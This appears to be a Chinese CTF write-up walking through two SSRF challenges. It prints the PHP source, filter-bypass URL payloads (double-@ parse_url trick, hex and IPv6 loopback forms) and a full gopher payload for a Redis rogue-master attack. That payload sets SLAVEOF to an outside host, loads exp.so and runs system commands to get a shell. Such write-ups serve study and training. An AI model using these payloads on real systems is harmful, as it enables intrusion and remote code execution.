[第二章 web进阶]SSRF Training
点击即可获得源码
>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } ?>
源码审计
get方式传参
是否存在url
url不为空就调用safe_request_url()函数
来看一下这个safe_request_url和check_inner_ip两个需要绕过的过滤函数
function check_inner_ip($url) { $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } //检查请求的url是否为正确的格式 try { $url_parse=parse_url($url); } //parse_url 是 PHP 的一个内置函数。 它用于解析 URL,并返回一个关联数组,包含了 URL 的各个部分, 比如协议、主机名、路径等。 parse_url 函数可以帮助开发者在处理 URL 时更方便地提取其中的信息,例如在这段代码中,它被用来解析用户输入的 URL。 catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); //ip2long 是 PHP 中的一个内置函数,用于将 IPv4 地址转换为对应的长整型数字。 IPv4 地址由四个十进制数(每个数范围在 0 到 255 之间)组成,用点分十进制表示(例如:"192.168.1.1")。 ip2long 函数将这种点分十进制表示的 IPv4 地址转换为一个长整型数字,方便进行比较和处理。 这个长整型数字可以更有效地存储和比较,通常用于 IP 地址的操作和计算。 return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } //这行代码是在检查给定的 IP 地址是否属于内部 IP 地址范围: ip2long('127.0.0.0'): 将 IPv4 地址 "127.0.0.0" 转换为长整型数字。 >> 24: 对长整型数字进行右移 24 位,这相当于将 IP 地址的前 3 个字节移出,只留下第一个字节。 == $int_ip >> 24: 比较经过右移操作的 "127.0.0.0" 的结果是否与输入的 IP 地址的前 3 个字节相同。如果相同,则说明该 IP 地址属于 "127.0.0.0/8" 的范围。 同样的逻辑被应用于其他内部 IP 地址范围: "10.0.0.0/8" 被右移 24 位后与输入 IP 地址的前 3 个字节进行比较。 "172.16.0.0/12" 被右移 20 位后与输入 IP 地址的前 3 个字节进行比较。 "192.168.0.0/16" 被右移 16 位后与输入 IP 地址的前 3 个字节进行比较。 如果给定的 IP 地址匹配了这些范围中的任何一个,则返回 true,否则返回 false。 //综上所述,这里就是一个IP白名单,不允许我们输入类似127.*.*.*、10.*.*.*、172.16.*.*、192.168.*.*
function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用 curl_setopt($ch, CURLOPT_URL, $url); //访问的域名 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); //curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html $output = curl_exec($ch); //执行一个cURL会话并且获取相关回复 $result_info = curl_getinfo($ch); //php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息 if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); //if的作用就是如果没有获取到信息,就重复获取,重复执行safe_request_url函数 //最后把exec后的数据dump出来 //var_dump($output);之后就出函数了 //接下来将parse_url后的url赋值给$url_parse //如果parse_url执行失败,则返回false var_dump($output); } }
绕过
我们最终的目的是要curl 127.0.0.1/flag然后得到dump出来的数据
那么该怎么绕过这两重检测呢
parse_url函数的绕过
PHP: parse_url - Manual
此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:
- scheme – 如 http
- host 域名
- port 端口
- pass
- path 路径
- query – 在问号 ? 之后
- fragment – 在散列符号 # 之后
此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
注: 此函数对相对路径的 URL 不起作用。
demo
'; $parts = parse_url($url); var_dump($parts); ?>
这是输出
但是如果我们输入http://www.baidu.com@2333.com/suning?v=1&k=2#id
那么结果就会变成
host就会变成@后面的字符
这样我们的host就可控了
回到题目
如果我们输入'http://127.0.0.1:80@baidu.com/flag.php'
这样也无法正确绕过
因为curl_getinfo()函数也无法解析成127.0.0.1
在前面再加一个@
这样curl_getinfo()函数解析的是127.0.0.1:80
而parse_url函数解析的host是www.baidu.com
这样就成功绕过
payload:
http://c47efe80-3429-4c17-afa8-b11ed8e4fa8f.node5.buuoj.cn:81/challenge.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php
[网鼎杯 2020 玄武组]SSRFMe
>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } if(isset($_GET['url'])){ $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } } else{ highlight_file(__FILE__); } // Please visit hint.php locally. ?>
代码审计
和上一题的代码菀菀类卿
也是get方式传参
不对
是一模一样的过滤
试了一下
还是有点不一样
正则匹配不同 这里不仅支持http伪协议还支持https|gopher|dict
但是后面的匹配是正常的啊
看不懂
可能@被ban了?
不知道
还可以用0.0.0.0绕过
也可以用环回地址绕过
我自己试下来可以用的有
?url=http://0x7F000001/hint.php
?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
?url=http://0.0.0.0/hint.php
——————————————更新——————————————
上面那个问题 大佬给出答案
然后我们终于来到第二步
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ highlight_file(__FILE__); } if(isset($_POST['file'])){ file_put_contents($_POST['file'],"有点不懂下一步的思路是什么
看佬的wp
这里提示 redis pass
要用 redis主从复制来打
redis主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据时就会通过主从复制复制到其它从redis。
所以我们这题的思路是,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
需要用到的工具
redis-rogue-server
redis-ssrf
这个ssrf-redis是用于生成gopher伪协议的脚本
我们根据我们的需要修改
这里主机改成我们自己的vps的ip地址
端口需要和rogue-server.py里的端口相同
command改成我们需要rce的命令
这里的passwd改成他提示的root
(注意这里默认打开的exp.so的路径是tmp 记得要不改脚本 要不就是把rogue-server.py和exp.sod都放在tmp)
rogue-server.py主要是创建了一个监听端口为 6666 的恶意 Redis 服务器。当有客户端连接并发送特定命令(如 PING、REPLCONF、PSYNC 或 SYNC)时,服务器会返回相应的响应,其中包括了一个恶意的 PAYLOAD
(要把rogue-server.py和exp.so放在同一个目录下)
先生成gopher伪协议脚本
因为还需要在url中传参,会解码一次,所以还需要url编码一次
启动rogue-server.py 成功执行
就成功反弹shell
然后分析一下这个gopher伪协议
gopher://0.0.0.0:6379/_*2 $4 AUTH $4 root *3 $7 SLAVEOF $14 ‘**********’ $4 6666 *4 $6 CONFIG $3 SET $3 dir $5 /tmp/ *4 $6 config $3 set $10 dbfilename $6 exp.so *3 $6 MODULE $4 LOAD $11 /tmp/exp.so *2 $11 system.exec $14 cat${IFS}/flag *1 $4 quit
总结一下
虽然跟着wp复现完了
但是对于redis主从攻击还是有点云里雾里
哪天要手动构造一下gopher脚本
自己复现一下这个漏洞
还没有评论,来说两句吧...